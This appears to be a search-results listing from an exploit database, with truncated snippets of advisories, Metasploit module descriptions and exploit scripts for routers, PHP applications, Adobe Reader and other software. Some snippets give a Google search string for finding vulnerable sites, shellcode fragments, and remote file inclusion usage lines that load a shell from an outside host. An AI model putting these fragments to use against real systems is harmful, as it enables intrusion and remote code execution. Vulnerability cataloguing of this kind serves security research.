1653 matches found
MvMmallv5. 5SQL injection of php exp exploit-vulnerability warning-the black bar safety net
Vulnerability type: MvMmall v5. 5. 1 SQL injection vulnerability Default background:admincp. php? module=index Google search:”Powered by MvMmall v5. 5. 1" One, use: php exp use 1 Install the php environment Use phpnow very simple to install. 2 Use exp attack Link: Extract password: aahj The exp...
PT-2015-4293
Name of the Vulnerable Software and Affected Versions ASUS WRT firmware versions 3.0.0.4.376 1071 through 3.0.0.376.2524-g0013f52 Description The issue allows remote attackers to bypass authentication and execute arbitrary commands. This is achieved by sending a NET CMD ID MANU CMD packet to UDP...
Adobe-Reader-PDF-LibTiff
Title: Adobe PDF LibTiff Integer Overflow Code Execution. Product: Adobe Acrobat Reader Version: 8.3.0, 9.3.0 CVE: 2010-0188 import sys import base64 import struct import zlib import StringIO SHELLCODEOFFSET=0x555 TIFFOFSET=0x2038 windows/exec - 227 bytes http://www.metasploit.com Encoder:...
AOL-Desktop-9.6-(.rtx)
NOTE: If exploit doesn't work turn AOL off CTRL+ALT+DELETE and turn all AOL processes off then try again Watch out for other bad chars !! Current bad chars: \x00\x0a\x0d\x20\x31\x90\x3e First Header hd1 = "\x3c\x48\x54\x4d\x4c\x3e\x3c\x46\x4f\x4e\x54\x20\x20\x53\x49\x5a"...
Arris VAP2500 tools_command.php Command Execution
Arris VAP2500 access points are vulnerable to OS command injection in the web management portal via the toolscommand.php page. Though authentication is required to access this page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid username. Module Options msf us...
PT-2014-8746
Name of the Vulnerable Software and Affected Versions Linux kernel versions prior to 3.17.4 Description The issue is a stack-based buffer overflow in the ttusbdecfe dvbs diseqc send master cmd function, which can be triggered by a large message length in an ioctl call. This can cause a denial of...
MS14-060 Microsoft Windows OLE Package Manager Code Execution
This module exploits a vulnerability found in Windows Object Linking and Embedding OLE allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable. However, based on our...
Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
This module scans for the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets CGI scripts in the Apache web server by setting the HTTPUSERAGENT environment variable to a malicious function definition. PROTIP: Use exploit/multi/handler...
PT-2014-6415
Name of the Vulnerable Software and Affected Versions innovaphone PBX versions 10.00 sr11 and earlier Description The issue allows remote attackers to hijack the authentication of administrators for requests that modify configurations or user accounts. This can be achieved through crafted request...
PT-2014-5811
Name of the Vulnerable Software and Affected Versions Little Kernel LK bootloader affected versions not specified Description The issue allows attackers to bypass intended device-lock and kernel-signature restrictions. This is achieved by using fastboot mode in a boot command for an arbitrary...
Yahoo Messenger 5.5 - Remote Exploit (DSR-ducky.c)
No description provided by source. / --- Remote yahoo Messenger V5.5 exploiter on Windows XP --- Dtors Security Research DSR Code by: Rave The buffer looks like this |-----| Fillup x offsetJMP 0x3EIPNOPSSHELLCODE ^^ / include windows.h include stdio.h include stdlib.h include string.h include...
AllMyLinks 0.x - footer.inc.php Arbitrary Code Execution
No description provided by source. source: http://www.securityfocus.com/bid/9664/info Reportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used i...
Beatport Player 1.0.0.283 - (.M3U File) Local Stack Overflow Exploit (3)
No description provided by source. !/usr/bin/perl Beatport Player 1.0.0.283 .M3U File Stack Core Overflow ExploitSEH Work Only in WIN SP2 FR Credit to SirGod The Discover Stack The exploiter Whalna rire m3a lprogram mati khdeme hta ti chiyeb lpc :d After exec the exploit wait some sec for see the...
ME Download System <= 1.3 (header.php) Remote Inclusion Vulnerability
No description provided by source. +-------------------------------------------------------------------- + + ME Download System 1.3 Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: ME Download System 1.3 + Venedor ...........:...
SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ This module is based...
D-Link Devices Unauthenticated Remote Command Execution
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3...
WEBinsta CMS <= 0.3.1 (templates_dir) Remote File Include Exploit
No description provided by source. !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl target cmd shell location cmd shell variable perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shel...
phpBB Module NoMoKeTos Rules 0.0.1 - Remote File Include Exploit
No description provided by source. !/usr/bin/perl phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code: includeonce$phpbbrootpath...
Bilder Galerie 1.0 Index.PHP Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/25256/info Bilder Galerie is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the...
FathFTP 1.8 (EnumFiles Method) ActiveX Buffer Overflow (SEH)
No description provided by source. html object classid='clsid:62A989CE-D39A-11D5-86F0-B9C370762176' id='target'/object script language='vbscript' ' Exploit Title: FathFTP 1.8 SEH EnumFiles ActiveX Buffer Overflow ' Author: MadjiX ' Software Link: http://www.fathsoft.com/fathftp.html ' Version 1.7...